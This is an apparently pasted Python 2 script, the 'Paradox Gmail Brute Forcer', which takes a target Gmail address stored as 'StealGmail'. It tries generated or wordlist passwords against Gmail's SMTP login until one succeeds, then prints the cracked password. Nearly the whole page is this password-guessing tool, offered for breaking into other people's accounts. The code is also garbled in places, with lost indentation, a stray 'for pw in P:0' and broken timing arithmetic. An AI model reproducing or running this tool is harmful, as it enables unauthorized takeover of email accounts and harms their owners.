Untitled


SUBMITTED BY: Guest

DATE: Dec. 13, 2013, 2:16 a.m.

FORMAT: Python

SIZE: 13.2 kB

HITS: 865

  1. def GmailBrute():
  2. import time
  3. import smtplib
  4. import time
  5. import os
  6. import itertools
  7. #os.system("color 09")
  8. start_time1 = time.time()
  9. def WordGenBrute():
  10. #!/usr/bin/env python
  11. import itertools
  12. def passes(size, pool):
  13. for p in itertools.product(pool, repeat=size):
  14. yield "".join(p)
  15. def range_passes(minSize, maxSize, pool):
  16. num = (maxSize - minSize) + 1
  17. pws = []
  18. for i in range(num):
  19. pws.append(passes(minSize + i, pool))
  20. for P in pws:
  21. for pw in P:
  22. yield pw
  23. if __name__ == '__main__':
  24. import string
  25. from optparse import OptionParser
  26. dPool = "a" + raw_input("Enter Any Extra Character You Want To Use To Generate The Passwords With:\n> ")
  27. parser = OptionParser()
  28. parser.add_option("-s", "--start", dest="minSize", type="int", default=raw_input("Min Pass Size: > "),
  29. help="Minimum password size")
  30. parser.add_option("-e", "--end", dest="maxSize", type="int", default=raw_input("Max Pass Size: > "),
  31. help="Maximum password size")
  32. parser.add_option("-p", "--pool", dest="pool", default=dPool,
  33. help="Characters to generate passwords from")
  34. (options, args) = parser.parse_args()
  35. numb = 0
  36. for pw in range_passes(options.minSize, options.maxSize, options.pool):
  37. timetkn = time.time()
  38. os.system("cls")
  39. os.system("color 09")
  40. #print "Trying Pass: " + pw + " Number Of Passwords Tried: " + (str(numb))
  41. numb = numb + 1
  42. SMTP_SERVER = 'smtp.gmail.com'
  43. SMTP_PORT = 587
  44. session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
  45. Steal = StealGmail
  46. Pass = (str(pw))
  47. password = Pass
  48. try:
  49. session.ehlo()
  50. session.starttls()
  51. session.ehlo
  52. session.login(Steal, password)
  53. session.quit()
  54. os.system("color 0a")
  55. timetkn2 = timetkn - time.time
  56. print "-------------------------"
  57. print "BruteForce Sucessful: "
  58. print "---------------------"
  59. print "Gmail: " + Steal
  60. print "Password: " + Pass
  61. print "Pass Found In " + timetkn2
  62. print "-------------------------"
  63. raw_input("> ")
  64. Start()
  65. except:
  66. reslt = "Invalid Password "
  67. timetkn2 = timetkn - time.time()
  68. print "Tried (" + (str(pw)) + ") In " + (str(timetkn2)) + " Seconds And The Result Was: " + (str(reslt)) + " Total Passwords Tryed: " + (str(numb))
  69. pass
  70. elapsed_time = time.time() - start_time1
  71. print "-----------------------------------------"
  72. print "Unable To Crack The Password(Details): "
  73. print "Gmail: " + (str(Steal))
  74. print "Number Of Passes Tried: " + (str(numb))
  75. print "Time Elapsed: " + (str(elapsed_time))
  76. print "Reason: Password Not Found In List!"
  77. print "-----------------------------------------"
  78. def PassListBrute():
  79. #!/usr/bin/env python
  80. import itertools
  81. start_time1 = time.time()
  82. def passes(size, pool):
  83. for p in itertools.product(pool, repeat=size):
  84. yield "".join(p)
  85. def range_passes(minSize, maxSize, pool):
  86. num = (maxSize - minSize) + 1
  87. pws = []
  88. for i in range(num):
  89. pws.append(passes(minSize + i, pool))
  90. for P in pws:
  91. for pw in P:0
  92. yield pw
  93. if __name__ == '__main__':
  94. import string
  95. from optparse import OptionParser
  96. print "Password List Directory:"
  97. listdir = raw_input("> ")
  98. print "Password List Name:"
  99. listnam = raw_input("> ")
  100. listname = listdir + "\\" + listnam
  101. print "File Chosen: " + listname
  102. f=open(listname)
  103. lines=f.readlines()
  104. dPool = lines
  105. parser = OptionParser()
  106. parser.add_option("-p", "--pool", dest="pool", default=dPool,
  107. help="List to generate passwords from")
  108. (options, args) = parser.parse_args()
  109. numb = 0
  110. for pw in range_passes(1, 1, options.pool):
  111. numb = numb + 1
  112. #print "Trying Pass: " + pw
  113. SMTP_SERVER = 'smtp.gmail.com'
  114. SMTP_PORT = 587
  115. session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
  116. Steal = StealGmail
  117. Pass = (str(pw))
  118. password = Pass
  119. try:
  120. timetkn = time.time()
  121. reslt = "Invalid Password "
  122. session.ehlo()
  123. session.starttls()
  124. session.ehlo
  125. session.login(Steal, password)
  126. session.quit()
  127. os.system("color 0a")
  128. timetkn2 = timetkn - time.time()
  129. print "-------------------------"
  130. print "BruteForce Sucessful: "
  131. print "---------------------"
  132. print "Gmail: " + Steal
  133. print "Password: " + Pass
  134. print "Pass Found In " + timetkn2
  135. print "-------------------------"
  136. reslt = "Found Password "
  137. raw_input("> ")
  138. Start()
  139. except:
  140. timetkn2 = timetkn - time.time()
  141. print "Tried (" + (str(Pass)) + ") In " + (str(timetkn2)) + " Seconds And The Result Was: " + (str(reslt)) + " Total Passwords Tryed: " + (str(numb))
  142. pass
  143. elapsed_time = time.time() - start_time1
  144. print " "
  145. print "-----------------------------------------"
  146. print "Unable To Crack The Password(Details): "
  147. print "Gmail: "
  148. print "List: " + listnam
  149. print "Directory: " + listdir
  150. print "Number Of Passes Tried: " + (str(numb))
  151. print "Time Elapsed: " + (str(elapsed_time))
  152. print "Reason: Password Not Found In List!"
  153. print "-----------------------------------------"
  154. Start()
  155. #Actual Begining Of Script:
  156. print "Gmail You Want To Brute Force: "
  157. StealGmail = raw_input("> ")
  158. print "Paradox Brute Forcer Client:"
  159. print "What Type Of Brute Force Would You Like To Use:"
  160. print "--------------------------------------------------"
  161. print " "
  162. print """Password Generator(1):
  163. ---------------------------------------
  164. Generates All Word-Number-Symbol
  165. Combinations Until The Password Is Found!
  166. Estimated Time [1-72] Hours
  167. ---------------------------------------
  168. """
  169. print " "
  170. print """Password List(2): {Highly Suggested!}
  171. ---------------------------------------
  172. Grabs Every Word In Your List And Tries
  173. To Use It As A Password, Very Effecient
  174. If You Know What Your Doing!
  175. Estimated Time [10Mins - 5Hours]
  176. Depends On List
  177. ---------------------------------------
  178. """
  179. answerz = raw_input("> ")
  180. if answerz == "1":
  181. print "----------------------------------------------------------"
  182. print "- Password Generator -"
  183. print "----------------------------------------------------------"
  184. os.system("cls")
  185. os.system("color 09")
  186. WordGenBrute()
  187. elif answerz == "2":
  188. print "----------------------------------------------------------"
  189. print "- Password List -"
  190. print "----------------------------------------------------------"
  191. os.system("cls")
  192. os.system("color 09")
  193. PassListBrute()
  194. else:
  195. print "Not An Option, Assuming Password Generator"
  196. print "----------------------------------------------------------"
  197. print "- Password Generator -"
  198. print "----------------------------------------------------------"
  199. os.system("cls")
  200. os.system("color 09")
  201. WordGenBrute()
  202. Start()
  203. #Actual Start Of The Whole Script:
  204. def Start():
  205. #Adding A Choice Now Makes Is Easior To Add Updates:
  206. import os
  207. print """
  208. Paradox Gmail Brute Forcer Version 5.6.1
  209. ------------------------------------------
  210. > Gmail_Brute_Force-----------(1)
  211. > Help------------------------(2)
  212. ------------------------------------------
  213. """
  214. choice = raw_input("> ")
  215. #If Gmail Brute Force Is Choosen Do This:
  216. if choice == "1":
  217. print "----------------------------------------------------------"
  218. print "- Gmail Brute Force -"
  219. print "----------------------------------------------------------"
  220. os.system("cls")
  221. os.system("color 09")
  222. GmailBrute()
  223. #If Help Is Choosen Do This:
  224. if choice == "2":
  225. print "----------------------------------------------------------"
  226. print "- Help Section -"
  227. print "----------------------------------------------------------"
  228. os.system("cls")
  229. os.system("color 09")
  230. HelpSection()
  231. #If An Invalid Choice Is Input This Will Ask To Retry:
  232. else:
  233. print "Not An Option: Please Retry!"
  234. os.system("cls")
  235. os.system("color 09")
  236. Start()
  237. #Calls The Start Of The Script:
  238. Start()

comments powered by Disqus